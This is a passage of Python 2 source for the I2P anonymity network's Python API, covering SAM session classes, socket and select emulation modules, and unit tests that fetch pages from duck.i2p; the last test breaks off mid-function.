# Get Stream object if available.
if self.qaccept.qsize() > 0:
return self.term.queue_get(self.qaccept)
finally: self.lock.release()
if timeout != None and timer() >= end: break
sleep()
# Handle timeout and blocking errors
if timeout == 0.0:
raise i2p.socket.BlockError('command would have blocked')
else:
raise i2p.socket.Timeout('timed out')
def listen(self, backlog):
"""Set maximum number of queued connections."""
if self.closed: raise sam.ClosedError()
self.max_accept = backlog
def _on_STREAM_CONNECTED(self, **kwargs):
"""Got STREAM CONNECTED command. This is what accept() commands
wait for."""
# Synchronize
self.lock.acquire()
try:
# Drop connection if over maximum size.
if self.qaccept.qsize() >= self.max_accept:
self.term.send_message('STREAM CLOSE ID=' +
str(int(kwargs['ID'])))
return
# Parse, create Stream, and place on self.qaccept.
self.term.check_message(kwargs)
# A negative id is chosen for us
id = int(kwargs['ID'])
self.idmap[id] = Stream(self, kwargs['DESTINATION'], id)
# Pass Stream object back to accept.
self.qaccept.put(self.idmap[id])
finally: self.lock.release()
def _send_stream(self, id, data):
"""Internal command, send data to stream id. Use Stream.send
in your code."""
self.term.send_message('STREAM SEND ID=' + str(id) + ' SIZE=' +
str(len(data)) + '\n' + data)
def _on_STREAM_CLOSED(self, **kwargs):
"""Got STREAM CLOSED command. Call idmap[id].on_close(e) and
delete idmap[id]."""
id = int(kwargs['ID'])
# No error is produced for a graceful remote close.
e = None
try: self.term.check_message(kwargs)
except i2p.Error, err: e = err
# Synchronize
self.lock.acquire()
try:
# Sent STREAM CLOSE, SAM didn't hear us in time.
if not id in self.idmap: return
# Pop id from self.idmap, if available.
obj = self.idmap[id]
del self.idmap[id]
finally: self.lock.release()
# Process on_close message.
obj.on_close(None)
def _on_STREAM_RECEIVED(self, **kwargs):
"""Got STREAM RECEIVED command. Dispatch to
idmap[id].on_receive(s)."""
id = int(kwargs['ID'])
if not id in self.idmap:
# _on_STREAM_CONNECTED blocks until self.idmap[id] is properly
# set up. Therefore, we have received a stream packet despite
# closing the stream immediately after _on_STREAM_CONNECTED
# (SAM ignored us). So ignore it.
return
self.idmap[id].on_receive(kwargs['DATA'])
def __len__(self):
"""Unconnected session; has no read data available."""
return 0
class Stream:
"""Receives and sends data for an individual stream."""
def __init__(self, parent, remotedest, id, didconnect=True):
self.parent = parent
self.buf = StringBuffer()
self.localdest = parent.dest
self.remotedest = remotedest
self.id = id
# Data lock. Allow multiple acquire()s by same thread
self.lock = threading.RLock()
self.closed = False
# Error message, on STREAM STATUS, or on STREAM CLOSED.
self.err = None
# Whether stream got a STREAM CONNECTED message
self.didconnect = didconnect
def send(self, s):
"""Sends the string s, blocking if necessary."""
id = self.id
if self.closed or id == None:
if self.err != None: raise self.err
raise i2p.socket.ClosedError('stream closed')
if len(s) == 0: return
nmax = 32768
for block in [s[i:i+nmax] for i in range(0,len(s),nmax)]:
self.parent._send_stream(id, block)
def recv(self, n, timeout=None, peek=False, waitall=False):
"""Reads up to n bytes in a manner identical to socket.recv.
Blocks for up to timeout seconds if n > 0 and no data is
available (timeout=None means wait forever). If still no data
is available, raises BlockError or Timeout. For a closed
stream, recv will read the data stored in the buffer until
EOF, at which point the read data will be truncated. If peek
is True, the data is not removed. If waitall is True, reads
exactly n bytes, or raises BlockError or Timeout as
appropriate. Returns data."""
if n < 0: raise ValueError
if n == 0: return ''
minlen = 1
if waitall: minlen = n
if timeout != None: end = timer() + timeout
while True:
# Synchronized check and read until data available.
self.parent.term.check()
self.lock.acquire()
try:
if len(self.buf) >= minlen:
if peek: return self.buf.peek(n)
else: return self.buf.read(n)
# Graceful close: return as much data as possible
# (up to n bytes).
if self.closed and self.err == None: return self.buf.read(n)
# Ungraceful close: raise an error.
if self.err != None: raise self.err
finally: self.lock.release()
if timeout != None and timer() >= end: break
sleep()
# Handle timeout and blocking error
if timeout == 0.0:
raise i2p.socket.BlockError('command would have blocked')
else:
raise i2p.socket.Timeout('timed out')
def __len__(self):
"""Current length of read buffer."""
return len(self.buf)
def close(self):
"""Close the stream. Threadsafe."""
# Synchronize self.parent.
self.parent.lock.acquire()
try:
if not self.closed:
self.closed = True
id = self.id
# Set self.id to None, so we don't close a new stream by
# accident.
self.id = None
if not id in self.parent.idmap: return
self.parent.term.send_message('STREAM CLOSE ID=' + str(id))
# No error is produced for a locally closed stream
self.on_close(None)
del self.parent.idmap[id]
finally: self.parent.lock.release()
def on_receive(self, s):
# Synchronize
self.lock.acquire()
try:
self.buf.append(s)
finally: self.lock.release()
def on_close(self, e):
self.closed = True
self.err = e
def __del__(self):
self.close()
# -----------------------------------------------------
# DatagramSession
# -----------------------------------------------------
class DatagramSession(BaseSession):
"""Datagram session. All methods are blocking and threadsafe."""
def __init__(self, name, addr='', **kwargs):
if addr == '': addr = i2p.socket.samaddr
BaseSession.__init__(self, addr)
self.buf = Deque() # FIFO of incoming packets.
self.name = name
# Create datagram session
if name == '': name = 'TRANSIENT'
self.term.send_message('SESSION CREATE STYLE=DATAGRAM ' +
'DESTINATION=' + name + self._encode_kwargs(**kwargs))
self.term.check_message(self.term.queue_get(self.qsession))
self._set_properties()
def _on_DATAGRAM_RECEIVED(self, **kwargs):
"""Internal method, got DATAGRAM RECEIVED."""
# Synchronized
self.lock.acquire()
try:
self.buf.push_last((kwargs['DATA'], kwargs['DESTINATION']))
finally: self.lock.release()
def send(self, s, dest):
"""Send packet with contents s to given destination."""
# Raise error if packet is too large.
if len(s) > i2p.socket.MAX_DGRAM:
raise ValueError('packets must have length <= ' +
str(i2p.socket.MAX_DGRAM) + ' bytes')
self.term.send_message('DATAGRAM SEND DESTINATION=' + dest +
' SIZE=' + str(len(s)) + '\n' + s)
def recv(self, timeout=None, peek=False):
"""Get a single packet. Blocks for up to timeout seconds if
n > 0 and no packet is available (timeout=None means wait
forever). If still no packet is available, raises BlockError
or Timeout. Returns the pair (data, address). If peek is
True, the data is not removed."""
if timeout != None: end = timer() + timeout
while True:
self.term.check()
# Synchronized check and read until data available.
self.lock.acquire()
try:
if len(self.buf) > 0:
if peek:
ans = self.buf.pop_first()
self.buf.push_first(ans)
return ans
else:
return self.buf.pop_first()
finally: self.lock.release()
if timeout != None and timer() >= end: break
sleep()
# Handle timeout and blocking error
if timeout == 0.0:
raise i2p.socket.BlockError('command would have blocked')
else:
raise i2p.socket.Timeout('timed out')
def __len__(self):
"""Number of packets in read buffer."""
return len(self.buf)
# -----------------------------------------------------
# RawSession
# -----------------------------------------------------
class RawSession(BaseSession):
"""Raw session. All methods are blocking and threadsafe."""
def __init__(self, name, addr='', **kwargs):
if addr == '': addr = i2p.socket.samaddr
BaseSession.__init__(self, addr)
self.buf = Deque() # FIFO of incoming packets.
self.name = name
# Create raw session
if name == '': name = 'TRANSIENT'
self.term.send_message('SESSION CREATE STYLE=RAW DESTINATION=' +
name + self._encode_kwargs(**kwargs))
self.term.check_message(self.term.queue_get(self.qsession))
self._set_properties()
def _on_RAW_RECEIVED(self, **kwargs):
"""Internal method, got RAW RECEIVED."""
# Synchronized
self.lock.acquire()
try:
self.buf.push_last((kwargs['DATA'], ''))
finally: self.lock.release()
def send(self, s, dest):
"""Send packet with contents s to given destination."""
# Raise error if packet is too big
if len(s) > i2p.socket.MAX_RAW:
raise ValueError('packets must have length <= ' +
str(i2p.socket.MAX_RAW) + ' bytes')
self.term.send_message('RAW SEND DESTINATION=' + dest +
' SIZE=' + str(len(s)) + '\n' + s)
def recv(self, timeout=None, peek=False):
"""Identical to DatagramSocket.recv. The from address is an
empty string."""
if timeout != None: end = timer() + timeout
while True:
self.term.check()
# Synchronized check and read until data available.
self.lock.acquire()
try:
if len(self.buf) > 0:
if peek:
ans = self.buf.pop_first()
self.buf.push_first(ans)
return ans
else:
return self.buf.pop_first()
finally: self.lock.release()
if timeout != None and timer() >= end: break
sleep()
# Handle timeout and blocking error
if timeout == 0.0:
raise i2p.socket.BlockError('command would have blocked')
else:
raise i2p.socket.Timeout('timed out')
def __len__(self):
"""Number of packets in read buffer."""
return len(self.buf)
# -----------------------------------------------------
# End of file
# -----------------------------------------------------

View File

@ -1,166 +0,0 @@
# -------------------------------------------------------------
# select.py: Emulation of Python select module.
# -------------------------------------------------------------
"""
I2P Python API - Emulation of Python select module.
"""
import time
import i2p.socket
from i2p.pylib import select as pyselect # Import Python select
# --------------------------------------------------
# Poll and select
# --------------------------------------------------
POLLIN = 1 # There is data to read
POLLPRI = 1 # Same as POLLIN
POLLOUT = 4 # Ready for output
POLLERR = 8 # Wait for error condition
POLLHUP = 16 # Not implemented
POLLNVAL = 32 # Not implemented
class Poll:
"""Class implementing poll interface. Works for Python sockets
and SAM sockets."""
def __init__(self):
self.fds = {} # Maps _hash() -> (socket, mask)
def _hash(self, fd):
"""Get a unique number for each object."""
if isinstance(fd, int):
return fd # Use the fd itself if integer.
else:
return id(fd) # Use object address (no copies!)
def register(self, fd, eventmask=POLLIN|POLLOUT|POLLERR):
self.fds[self._hash(fd)] = (fd, eventmask)
def unregister(self, fd):
del self.fds[self._hash(fd)]
def poll(self, timeout=None):
readlist, writelist, errlist = [], [], []
for F, mask in self.fds.values():
if mask & POLLIN: readlist += [F]
if mask & POLLOUT: writelist += [F]
if mask & POLLERR: errlist += [F]
(Rs, Ws, Es) = select(readlist, writelist, errlist,
timeout=timeout)
ans = []
for R in Rs: ans.append((R, POLLIN))
for W in Ws: ans.append((W, POLLOUT))
for E in Es: ans.append((E, POLLERR))
return ans
def poll():
"""Returns a polling object. Works on SAM sockets and Python
sockets. See select.poll() in the Python library for more
information.
Polling flags specified in this module:
- POLLIN
- POLLOUT
- POLLERR
- POLLHUP
- POLLNVAL
- POLLPRI
"""
return Poll()
def _has_data(S):
"""True if the given I2P socket has data waiting."""
try:
S.recv(1, i2p.socket.MSG_PEEK | i2p.socket.MSG_DONTWAIT)
return True
except:
return False
def _noblock_select(readlist, writelist, errlist):
"""Makes a single query of the given sockets, like
select() with timeout 0.0."""
Rans = []
Wans = []
Eans = []
# Check for read availability.
for R in readlist:
if isinstance(R, int) or hasattr(R, 'fileno'):
# Python socket
if len(pyselect.select([R], [], [], 0.0)[0]) > 0:
Rans.append(R)
else:
# SAM Socket
if _has_data(R):
Rans.append(R)
# if R.type == i2p.socket.SOCK_STREAM:
# try:
# R._verify_connected()
# Rans.append(R)
# except:
# pass
# else:
# if len(R.sessobj) > 0: Rans.append(R)
# Check for write availability.
for W in writelist:
if isinstance(W, int) or hasattr(W, 'fileno'):
# Python socket
if len(pyselect.select([], [W], [], 0.0)[1]) > 0:
Wans.append(W)
else:
# SAM Socket
if W.type == i2p.socket.SOCK_STREAM:
try:
W._verify_connected()
Wans.append(W)
except:
pass
else:
Wans.append(W)
# Check for error conditions.
# These can only be stream errors.
for E in errlist:
if isinstance(E, int) or hasattr(E, 'fileno'):
# Python socket
if len(pyselect.select([], [], [E], 0.0)[2]) > 0:
Eans.append(E)
else:
if E.type == i2p.socket.SOCK_STREAM:
try:
# FIXME: Use a ._get_error() function for errors.
# Socket can only have an error if it connected.
E._verify_connected()
if E.sessobj.err != None:
Eans.append(E)
except:
pass
return (Rans, Wans, Eans)
def select(readlist, writelist, errlist, timeout=None):
"""Performs a select call. Works on SAM sockets and Python
sockets. See select.select() in the Python library for more
information."""
if timeout != None: end = time.time() + timeout
while True:
# FIXME: Check performance.
# Use pyselect.poll for Python sockets, if needed for speed.
(Rans, Wans, Eans) = _noblock_select(readlist,writelist,errlist)
if timeout != None and time.time() >= end: break
if len(Rans) != 0 or len(Wans) != 0 or len(Eans) != 0:
# One or more sockets are ready.
if timeout != 0.0:
# Check again, because sockets may have changed state while
# we did _noblock_select (it's safer to check twice, since
# they usually go from no data => data ready, and so forth).
(Rans, Wans, Eans) = _noblock_select(readlist, writelist,
errlist)
return (Rans, Wans, Eans)
time.sleep(0.01)
return (Rans, Wans, Eans)

View File

@ -1,535 +0,0 @@
# -------------------------------------------------------------
# socket.py: Emulation of Python socket module.
# -------------------------------------------------------------
"""
Emulation of Python socket module using SAM.
"""
import i2p
import samclasses, threading, time, copy, Queue, thread
from i2p.pylib import socket as pysocket # Import Python socket
from i2p.pylib import select as pyselect # Import Python select
# --------------------------------------------------
# Global variables
# --------------------------------------------------
# Ports
samaddr = '127.0.0.1:7656' # Default port for SAM Bridge
# Flags for recv, recvfrom.
MSG_PEEK = 2 # Peek at incoming message
MSG_WAITALL = 64 # Wait for data or error
MSG_DONTWAIT = 128 # Nonblocking
# Packet sizes
MAX_DGRAM = 31744 # Max size of datagram packet
MAX_RAW = 32768 # Max size of raw packet
# Socket types
SOCK_STREAM = 1 # Stream socket
SOCK_DGRAM = 2 # Datagram socket
SOCK_RAW = 3 # Raw socket
# Miscellaneous
samver = 1.0 # SAM version implemented
# --------------------------------------------------
# Errors
# --------------------------------------------------
class Error(i2p.Error):
"""Base class for all SAM errors."""
class NetworkError(Error):
"""Network error occurred within I2P.
The error object is a 2-tuple: (errtag, errdesc).
errtag is a SAM error string,
errdesc is a human readable error description.
"""
class ClosedError(Error):
"""A command was used on a socket that closed gracefully."""
class BlockError(Error):
"""Socket call would have blocked."""
class Timeout(Error):
"""Time out occurred for a socket which had timeouts enabled
via a prior call to settimeout()."""
# --------------------------------------------------
# Sockets
# --------------------------------------------------
# Note: socket(), __make_session() and Socket() should have same args
def socket(session, type, samaddr=samaddr, **kwargs):
r"""Create a new socket. Argument session should be a session
name -- if the name has not yet been used, an I2P
Destination will be created for it, otherwise, the
existing Destination will be re-used. An empty session
string causes a transient session to be created. Argument
type is one of SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
I2P configuration keyword arguments:
- in_depth - depth of incoming tunnel (default 2)
- out_depth - depth of outgoing tunnel (default 2)
A single session may be shared by more than one socket, if
the sockets are the same type, and if the sockets are
created within the same Python process. The socket
objects are multithread-safe.
Examples:
>>> a = i2p.socket('Alice', i2p.SOCK_STREAM)
>>> b = i2p.socket('Bob', i2p.SOCK_DGRAM,
in_depth=2, out_depth=5)
The created object behaves identically to a socket from
module socket, with the following exceptions:
- I2P Destinations are used as address arguments [1].
- bind is a no-op: sockets are always bound.
- send* methods send all data and are non-blocking.
A given session name can only be open in a single Python
program at a time. If you need to overcome this
limitation, consider patching I2P.
[1].
Alternatively, a host name can be used as an address.
It will be resolved using hosts.txt.
For details on how to use socket objects, see
http://www.python.org/doc/current/lib/socket-objects.html
See the examples directory for code examples.
"""
return Socket(session, type, samaddr, **kwargs)
# --------------------------------------------------
# Socket session objects
# --------------------------------------------------
# Global list of session objects.
_sessions = {}
_session_lock = threading.Lock()
def _make_session(session, type, samaddr, **kwargs):
"""Make a session object (eg samclasses.StreamSession). Same
arguments as socket(). Return an existing session object
if one has been previously created under the given name.
"""
# Synchronize
_session_lock.acquire()
try:
if type == SOCK_STREAM: C = samclasses.StreamSession
elif type == SOCK_DGRAM: C = samclasses.DatagramSession
elif type == SOCK_RAW: C = samclasses.RawSession
else: raise ValueError('bad socket type')
# Get existing session, if available
if session != '' and _sessions.has_key(session):
if _sessions[session].__class__ != C:
raise ValueError('session ' + repr(session) + ' was ' +
'created with a different session type.')
return _sessions[session]
# Create new session
if type == SOCK_STREAM: ans = C(session, samaddr, **kwargs)
elif type == SOCK_DGRAM: ans = C(session, samaddr, **kwargs)
elif type == SOCK_RAW: ans = C(session, samaddr, **kwargs)
if session != '': _sessions[session] = ans
return ans
finally: _session_lock.release()
def _wrap_stream(stream, parent_socket):
"""Wraps a Socket object around a samclasses.Stream object."""
s = Socket('', 0, dummy_socket=True)
s.sessobj = stream
s.remotedest = stream.remotedest
s.dest = parent_socket.dest
s.session = parent_socket.session
s.type = parent_socket.type
s.timeout = None
s.samaddr = parent_socket.samaddr
s.closed = False
return s
# --------------------------------------------------
# Socket class
# --------------------------------------------------
class Socket:
"""A socket object."""
# Docstrings for pydoc. These variables will be overwritten.
dest = property(doc='Local I2P Destination of socket')
session = property(doc='Session name')
type = property(doc='Socket type: SOCK_STREAM, SOCK_DGRAM,' +
' or SOCK_RAW.')
# FIXME: Use getsockopt to detect errors.
def __init__(self, session, type, samaddr=samaddr, **kwargs):
"""Equivalent to socket()."""
if kwargs.has_key('dummy_socket'): return
self.sessobj = _make_session(session, type, samaddr, **kwargs)
self.dest = self.sessobj.dest
self.session = session
self.type = type
self.timeout = None # None indicates blocking mode
self.samaddr = samaddr
self.closed = False # Was current object closed?
self.lock = threading.Lock()
def _verify_open(self):
"""Verify that the socket has not been closed."""
if self.closed == True:
raise ClosedError('socket closed')
def _verify_stream(self):
"""Raise an error if socket is not a SOCK_STREAM."""
if self.type != SOCK_STREAM:
raise i2p.Error('operation not supported')
# FIXME: Check for errors also.
def _verify_connected(self, needs_to_be_connected=True):
"""Raise an error if socket is not a connected stream socket."""
self._verify_stream()
if not hasattr(self.sessobj, 'remotedest'):
raise i2p.Error('socket is not connected')
if needs_to_be_connected and not self.sessobj.didconnect:
raise i2p.Error('socket is in the process of connecting')
# FIXME: Check for errors also.
def _verify_not_connected(self):
"""Verify that the socket is not currently connected, and is not
in the process of connecting."""
self._verify_stream()
if hasattr(self.sessobj, 'remotedest'):
raise i2p.Error('socket is already connected')
# FIXME: Check for errors also.
def accept(self):
"""Accept an incoming connection. The socket must be type
SOCK_STREAM, and listen() must be called prior to this
command. The return value is (conn, remotedest), where
conn is a new socket object made for the connection, and
remotedest is the remote Destination from which the
connection was made.
Example:
>>> from i2p import socket
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
>>> s.listen(10)
This prepares the server. Now accept an incoming connection:
>>> c, remotedest = s.accept()
>>> c.send('hello world!')
If accept() is called on a socket that is in non-blocking
mode or has a timeout, i2p.socket.BlockError or
i2p.socket.Timeout may be raised. This indicates that no
incoming connection is currently available."""
self._verify_open()
self._verify_not_connected()
# Raises BlockError or Timeout if not ready.
C = _wrap_stream(self.sessobj.accept(self.timeout), self)
return (C, C.remotedest)
def bind(self, address):
"""Does nothing. Provided for compatibility with the Python
socket command bind(), which binds a server to a port."""
self._verify_open()
self._verify_not_connected()
def close(self):
"""Closes the socket. It is an error to call any method
other than recv() or recvfrom() on a closed socket.
For streams, the receive methods return data that was
received prior to the closing of the socket. For
datagram and raw sockets, the receive methods cannot
be used on a closed socket."""
try:
self._verify_connected()
connected = True
except i2p.Error:
connected = False
if connected:
# Close the Stream object.
self.sessobj.close()
else:
# Never close a session object.
pass
self.closed = True
def connect(self, address):
"""
Connect to a remote dest, identified in local SAM bridge's hosts
file as host 'address'.
For example:
>>> s.connect('duck.i2p')
Alternatively, you can use a full base64 Destination:
Example:
>>> s.connect('238797sdfh2k34kjh....AAAA')
If connect() is called on a socket that is in non-blocking
mode or has a timeout, i2p.socket.BlockError or
i2p.socket.Timeout may be raised. This indicates that the
connection is still being initiated. Use i2p.select.select()
to determine when the connection is ready.
"""
# Synchronized. Lock prevents two connects from occurring at the
# same time in different threads.
self.lock.acquire()
try:
self._verify_open()
if self.type == SOCK_DGRAM or self.type == SOCK_RAW:
self.packet_dest = address
return
self._verify_not_connected()
address = resolve(address, self.samaddr)
timeout = self.timeout
unwrap = self.sessobj.connect(address, timeout=timeout)
w = _wrap_stream(unwrap, self)
self.sessobj = w.sessobj
self.remotedest = w.remotedest
if self.sessobj.err != None:
raise self.sessobj.err
# Raise error if not yet connected
if not self.sessobj.didconnect:
if timeout == 0.0:
raise BlockError('command would have blocked. use ' +
'i2p.select.select() to find when socket is connected')
else: raise Timeout('timed out. use i2p.select.select()' +
' to find when socket is connected')
finally: self.lock.release()
def connect_ex(self, address):
"""Like connect(), but return any error that is raised.
Returns None if no error is raised."""
try: self.connect(address)
except i2p.Error, e: return e
# Don't implement fileno(), as we don't have a real file handle.
def getpeername(self):
"""Get the remote Destination associated with the socket.
This is equivalent to s.remotedest, and is provided for
compatibility with the Python socket module."""
self._verify_connected()
return self.remotedest
def getsockname(self):
"""Get the local Destination associated with the socket.
This is equivalent to s.dest, and is provided for
compatibility with the Python socket module."""
return self.dest
def listen(self, backlog):
"""Listen for connections made to the socket.
This method must be called before accept().
The backlog argument specifies the maximum number of
queued incoming connections."""
self._verify_open()
self._verify_not_connected()
self.sessobj.listen(backlog)
def makefile(self, mode='r', bufsize=-1):
"""Return a file object for the socket.
See socket.makefile() in the Python documentation for
more information."""
self._verify_open()
self._verify_connected()
return pysocket._fileobject(self, mode, bufsize)
def recv(self, bufsize, flags=0):
"""Receive string data from the socket.
The maximum amount of data to be received is given by
bufsize. If bufsize is zero, this function returns
an empty string immediately. If bufsize is nonzero,
this function blocks until at least one character is
available for reading. If the socket has been closed,
an empty string is returned as an end of file indicator.
If recv() is called on a socket that is in non-blocking
mode or has a timeout, i2p.socket.BlockError or
i2p.socket.Timeout will be raised if data is not available
within the given timeframe.
For a datagram or raw socket, the first bufsize characters
of the packet are read, and the remainder of the packet is
discarded. To read the entire packet, use bufsize = -1.
For datagram and raw sockets, the packet may originate from
any Destination. Use recvfrom() with datagrams to determine
the Destination from which the packet was received.
The flags argument can be a bitwise OR of MSG_PEEK,
MSG_WAITALL, and/or MSG_DONTWAIT. MSG_PEEK indicates that
any data read should not be removed from the socket's
incoming buffer. MSG_WAITALL indicates to wait for exactly
bufsize characters or an error. MSG_DONTWAIT indicates
that the recv() command should not block execution.
"""
# FIXME: What about recv'ing if connected in asynchronous mode?
# It is acceptable to call recv() after a stream has closed
# gracefully. It is an error to call recv() after a stream has
# closed due to an I2P network error.
timeout = self.timeout
(peek, waitall, dontwait) = \
(flags & MSG_PEEK, flags & MSG_WAITALL, flags & MSG_DONTWAIT)
if dontwait: timeout = 0.0
if self.type == SOCK_STREAM:
self._verify_connected()
return self.sessobj.recv(bufsize, timeout, peek, waitall)
else:
return self.recvfrom(bufsize, flags)[0]
def recvfrom(self, bufsize, flags=0):
"""Like recv(), but returns a tuple (data, remoteaddr), where
data is the string data received, and remoteaddr is the
remote Destination."""
timeout = self.timeout
(peek, waitall, dontwait) = \
(flags & MSG_PEEK, flags & MSG_WAITALL, flags & MSG_DONTWAIT)
if dontwait: timeout = 0.0
if self.type == SOCK_STREAM:
self._verify_connected()
if bufsize < 0: raise ValueError('bufsize must be >= 0 for streams')
return (self.sessobj.recv(bufsize, timeout, peek, waitall), \
self.remotedest)
else:
if bufsize < -1:
raise ValueError('bufsize must be >= -1 for packets')
(data, addr) = self.sessobj.recv(timeout, peek)
if bufsize == -1:
return (data, addr)
else:
return (data[:bufsize], addr)
def send(self, string, flags=0):
"""Sends string data to a remote Destination.
For a stream, connect() must be called prior to send().
Once close() is called, no further data can be sent, and
the stream cannot be re-opened.
For datagram and raw sockets, connect() only specifies
a Destination to which packets are sent to. send() will
then send a packet to the given Destination. connect()
can be used multiple times.
The send() command never blocks execution. The flags
argument is ignored.
"""
self._verify_open()
if self.type == SOCK_DGRAM or self.type == SOCK_RAW:
if not hasattr(self, 'packet_dest'):
raise i2p.Error('use connect or sendto to specify a ' +
'Destination')
self.sendto(string, flags, self.packet_dest)
return
self._verify_connected()
if self.closed:
raise i2p.Error('send operation on closed socket')
# FIXME: What about send'ing if connected in asynchronous mode?
self.sessobj.send(string)
def sendall(self, string, flags=0):
"""Identical to send()."""
self.send(string)
def sendto(self, string, flags, address):
"""Send a packet to the given Destination.
Only valid for datagram and raw sockets. The address
argument should be either a name from the hosts file,
or a base64 Destination.
The sendto() command never blocks execution. The flags
argument is ignored.
"""
self._verify_open()
if not self.type in [SOCK_DGRAM, SOCK_RAW]:
raise i2p.Error('operation not supported')
if self.closed:
raise i2p.Error('sendto operation on closed socket')
address = resolve(address, self.samaddr)
self.sessobj.send(string, address)
def setblocking(self, flag):
"""Set blocking or non-blocking mode for the socket.
If flag is True, any method called on the socket will
hang until the method has completed. If flag is False,
all methods will raise i2p.socket.BlockError() if they
cannot complete instantly.
s.setblocking(False) is equivalent to s.settimeout(0);
s.setblocking(True) is equivalent to s.settimeout(None).
"""
if flag: self.timeout = None
else: self.timeout = 0.0
def settimeout(self, value):
"""Set a timeout for the socket.
The value argument should be a timeout value in seconds,
or None. None is equivalent to an infinite timeout.
A socket operation will raise a i2p.socket.Timeout if
the operation cannot complete within in the specified
time limit.
"""
self.timeout = value
def gettimeout(self):
"""Get the timeout value."""
return self.timeout
def __copy__(self):
"""Returns the original object."""
return self
def __deepcopy__(self, memo):
"""Returns the original object."""
return self
def resolve(host, samaddr=samaddr):
"""Resolve I2P host name --> I2P Destination.
Returns the same string if host is already a Destination."""
if host.find('http://') == 0: host = host[len('http://'):]
host = host.rstrip('/')
if len(host) >= 256: return host
S = samclasses.BaseSession(samaddr)
ans = S._namelookup(host)
S.close()
return ans
# --------------------------------------------------
# End of File
# --------------------------------------------------

View File

@ -1,6 +0,0 @@
Unit tests for I2P Python interface.
Note that these aren't all unit tests yet.
Some are demos, some require manual intervention.

View File

@ -1,37 +0,0 @@
# -----------------------------------------------------
# test_eep.py: Unit tests for eep.py.
# -----------------------------------------------------
# Make sure we can import i2p
import sys; sys.path += ['../../']
import traceback, sys
from i2p import eep
def verify_html(s):
"""Raise an error if s does not end with </html>"""
assert s.strip().lower()[-7:] == '</html>'
def eepget_test():
try:
verify_html(eep.urlget('http://duck.i2p/index.html'))
verify_html(eep.urlget('http://duck.i2p/'))
verify_html(eep.urlget('http://duck.i2p'))
verify_html(eep.urlget('duck.i2p/'))
verify_html(eep.urlget('duck.i2p'))
except Exception, e:
print 'Unit test failed for eepget'
print "Note that urllib2.urlopen uses IE's proxy settings " + \
"in Windows."
print "This may cause " + \
"urllib2.urlopen('http://www.google.com/') to fail."
traceback.print_exc(); sys.exit()
print 'eepget: OK'
def test():
eepget_test()
if __name__ == '__main__':
print 'Testing:'
test()

View File

@ -1,433 +0,0 @@
# -----------------------------------------------------
# test_samclasses.py: Unit tests for samclasses.py.
# -----------------------------------------------------
# Make sure we can import i2p
import sys; sys.path += ['../../']
import traceback, time, thread, threading, random
from i2p import eep, socket, samclasses
def test_passed(s, msg='OK'):
"""Notify user that the given unit test passed."""
print ' ' + (s + ':').ljust(50) + msg
def verify_html(s):
"""Raise an error if s does not end with </html>"""
assert s.strip().lower()[-7:] == '</html>'
def raw_test1():
"""Unit test for samclasses.RawSession."""
try:
C = samclasses.RawSession('Carol')
D = samclasses.RawSession('Dave')
C.send('Hello!', D.dest)
D.send('Hi C!', C.dest)
(packet, addr) = C.recv(1000)
assert packet == 'Hi C!'
(packet, addr) = D.recv(1000)
assert packet == 'Hello!'
C.close()
D.close()
except:
print 'Unit test failed for samclasses.RawSession'
traceback.print_exc(); sys.exit()
test_passed('samclasses.RawSession')
def datagram_test1():
"""Unit test for samclasses.DatagramSession."""
try:
C = samclasses.DatagramSession('Carol')
D = samclasses.DatagramSession('Dave')
C.send('Hello!', D.dest)
D.send('Hi C!', C.dest)
(packet, remotedest) = C.recv(1000)
assert str(packet) == 'Hi C!' and remotedest == D.dest
(packet, remotedest) = D.recv(1000)
assert str(packet) == 'Hello!' and remotedest == C.dest
C.close()
D.close()
except:
print 'Unit test failed for samclasses.DatagramSession'
traceback.print_exc(); sys.exit()
test_passed('samclasses.DatagramSession')
def stream_readline(S):
"""Read a line, with a \r\n newline, including trailing \r\n."""
ans = []
while True:
c = S.recv(1)
if c == '': break
if c == '\n': break
ans += [c]
return ''.join(ans)
def stream_http_get(S, dest):
"""Get contents of http://dest/ via HTTP/1.0 and
samclasses.StreamSession S."""
C = S.connect(dest)
C.send('GET / HTTP/1.0\r\n\r\n')
while True:
line = stream_readline(C).strip()
if line.find('Content-Length: ') == 0:
clen = int(line.split()[1])
if line == '': break
s = C.recv(clen, timeout=None)
time.sleep(2.0)
C.close()
return s
def stream_test1():
"""Unit test for samclasses.StreamSession.connect."""
try:
dest = socket.resolve('duck.i2p')
S = samclasses.StreamSession('Bob')
verify_html(stream_http_get(S, dest))
verify_html(stream_http_get(S, dest))
verify_html(stream_http_get(S, dest))
S.close()
except:
print 'Unit test failed for samclasses.StreamSession'
traceback.print_exc(); sys.exit()
test_passed('samclasses.StreamSession.connect')
def stream_test2():
"""Unit test for samclasses.StreamSession.accept."""
global __server_done, __client_done, __err
__server_done = False
__client_done = False
__err = None
S = samclasses.StreamSession('Bob')
S.listen(10)
msg = '<h1>Hello!</h1>'
def serve():
try:
# Serve 3 connections, then quit.
for i in range(3):
C = S.accept() # Get a connection.
req = stream_readline(C) # Read HTTP request.
s = msg # Message to send back
C.send('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n' +
'Content-Length: ' + str(int(len(s))) + '\r\n\r\n' + s)
if i % 2 == 0: C.close() # Close connection
S.close()
except Exception, e:
global __err
__err = e
global __server_done
__server_done = True
thread.start_new_thread(serve, ())
# Wait for accept to kick in (should work without).
time.sleep(2.0)
def client():
try:
S2 = samclasses.StreamSession('Carol')
# Get / on server three times.
assert stream_http_get(S2, S.dest) == msg
assert stream_http_get(S2, S.dest) == msg
assert stream_http_get(S2, S.dest) == msg
S2.close()
except Exception, e:
global __err
__err = e
global __client_done
__client_done = True
thread.start_new_thread(client, ())
while not (__client_done and __server_done): time.sleep(0.01)
if __err != None:
print 'Unit test failed for samclasses.StreamSession.accept'
raise __err
test_passed('samclasses.StreamSession.accept')
def multithread_packet_test(raw=True):
"""If raw: Multithreaded unit test for samclasses.RawSession.
Not raw: Multithreaded unit test for samclasses.DatagramSession.
"""
try:
multithread_wait_time = 200.0
may_need_increase = False
if raw:
C = samclasses.RawSession('Carol', in_depth=0, out_depth=0)
D = samclasses.RawSession('Dave', in_depth=0, out_depth=0)
else:
C = samclasses.DatagramSession('Carol',in_depth=0,out_depth=0)
D = samclasses.DatagramSession('Dave',in_depth=0,out_depth=0)
global C_recv, D_recv, C_got, D_got, __lock
C_recv = [] # Packets C *should* receive
D_recv = [] # Packets D *should* receive
C_got = [] # Packets C actually got
D_got = [] # Packets D actually got
n = 50 # Create n threads
